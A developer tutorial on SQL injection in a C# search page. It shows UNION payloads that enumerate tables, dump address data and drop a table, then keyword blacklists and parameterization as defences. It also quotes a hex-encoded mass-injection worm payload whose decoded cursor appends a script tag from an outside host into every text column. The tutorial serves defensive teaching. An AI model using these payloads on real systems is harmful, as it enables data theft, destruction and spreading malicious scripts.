SQL Injection
"SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks."
Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.
Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But... what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.
The example in this article uses the SQL Server sample database AdventureWorks (http://www.codeplex.com/SqlServerSamples).
Let's start with a very trivial example of product search. The implementation is in C#:
string cmdStr = @"SELECT Name, ProductNumber, Color FROM Production.Product WHERE Name LIKE '%" + SearchText.Text + "%'"; using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtProducts = new DataTable(); sda.Fill(dtProducts); return dtProducts.DefaultView; }
How simple and innocent! A couple lines of code and our search function is done. We simply let the user type any search criteria and create a dynamic query to search all products.
A good user may type "ball" in the search text box and get the following results:
Name ProductNumber Color ------------------- --------------- ------- BB Ball Bearing BE-2349 Bearing Ball BA-8327 Headset Ball Bearings BE-2908
But here comes someone who has not so good intentions. Instead of searching for "ball", the bad guy may type:
ZZZ' UNION SELECT name, CAST(id AS VARCHAR(10)), '' FROM sysobjects WHERE xtype ='U' --
Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:
Name ProductNumber Color ----------------- ---------------- ------- Address 53575229 AddressType 101575400 AWBuildVersion 149575571 BillOfMaterials 181575685 Contact 309576141 ContactCreditCard 405576483 ContactType 437576597
Once the user tables are known, then next step could be the following search string:
ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --
This time the search results return the columns information for the Address user table:
Name ProductNumber Color ---------------- ---------------- -------- AddressID int Person AddressLine1 nvarchar Person AddressLine2 nvarchar Person City nvarchar Person ModifiedDate datetime Person PostalCode nvarchar Person rowguid uniqueidentifier Person StateProvinceID int Person
Going one step further, the malicious user can start extracting data:
ZZZ' UNION SELECT AddressLine1, City, PostalCode FROM Person.Address --
This results in listing the address data from the Address table:
Name ProductNumber Color ----------------------------- --------------------- -------- #500-75 O'Connor Street Ottawa K4B 1S2 #9900 2700 Production Way Burnaby V5A 4X1 00, rue Saint-Lazare Dunkerque 59140 02, place de Fontenoy Verrieres Le Buisson 91370 035, boulevard du Montparnasse Verrieres Le Buisson 91370
So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):
ZZZ'; DROP TABLE CreditCardInfo --
All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly.
Solutions
Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.
Client Side Filtering
The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:
public static string[] blackList = {"--",";--",";","/*","*/","@@","@", "char","nchar","varchar","nvarchar", "alter","begin","cast","create","cursor", "declare","delete","drop","end","exec","execute", "fetch","insert","kill","open", "select", "sys","sysobjects","syscolumns", "table","update"}; private bool CheckInput(string SearchText) { for (int i = 0; i < blackList.Length; i++) { if ((SearchText.IndexOf(blackList[i], StringComparison.OrdinalIgnoreCase) >= 0)) { HttpContext.Current.Response.Redirect("~/Error.aspx"); return false; } } return true; }
The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:
string cmdStr = @"SELECT Name, ProductNumber, Color FROM Production.Product WHERE Name LIKE '%" + SearchText.Text + "%'"; if(CheckInput(SearchText.Text)) { using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtProducts = new DataTable(); sda.Fill(dtProducts); return dtProducts.DefaultView; } } else { DataTable dtProducts = new DataTable(); return dtProducts.DefaultView; }
Parameterization
Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.
Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):
string cmdStr = @"SELECT Name, ProductNumber, Color FROM Production.Product WHERE Name LIKE '%' + @SearchText + '%'"; using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtProducts = new DataTable(); SqlParameter parm = sda.SelectCommand.Parameters.Add("@SearchText", SqlDbType.VarChar, 50); parm.Value = SearchText.Text; sda.Fill(dtProducts); return dtProducts.DefaultView; }
Attempts to enter the same malicious search text will result in to output as there is no product with such name.
Server Side Filtering
Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:
IF UPPER(@SearchText) LIKE UPPER(N'%0x%') OR UPPER(@SearchText) LIKE UPPER(N'%;%') OR UPPER(@SearchText) LIKE UPPER(N'%''%') OR UPPER(@SearchText) LIKE UPPER(N'%--%') OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%') OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %') OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%') OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%') OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %') OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %') OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %') OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %') OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %') OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %') OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %') OR UPPER(@SearchText) LIKE UPPER(N'%DROP %') BEGIN RAISERROR('Possible SQL Injection attempt.', 16, 1); RETURN; END
Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:
CREATE PROCEDURE ProductSearch @SearchText VARCHAR(200) AS SELECT Name, ProductNumber, Color FROM Production.Product WHERE Name LIKE '%' + @SearchText + '%';
Secondary Injection Attacks
Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page.
Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--
After the encoding is removed and the string is passed to SQL Server, it looks like this:
DECLARE @S NVARCHAR(4000); SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);--
Decoding the hex value reveals the actual SQL code that will be executed:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+ ']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.
One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.
The same techniques described earlier can be used to prevent secondary SQL injection attacks.
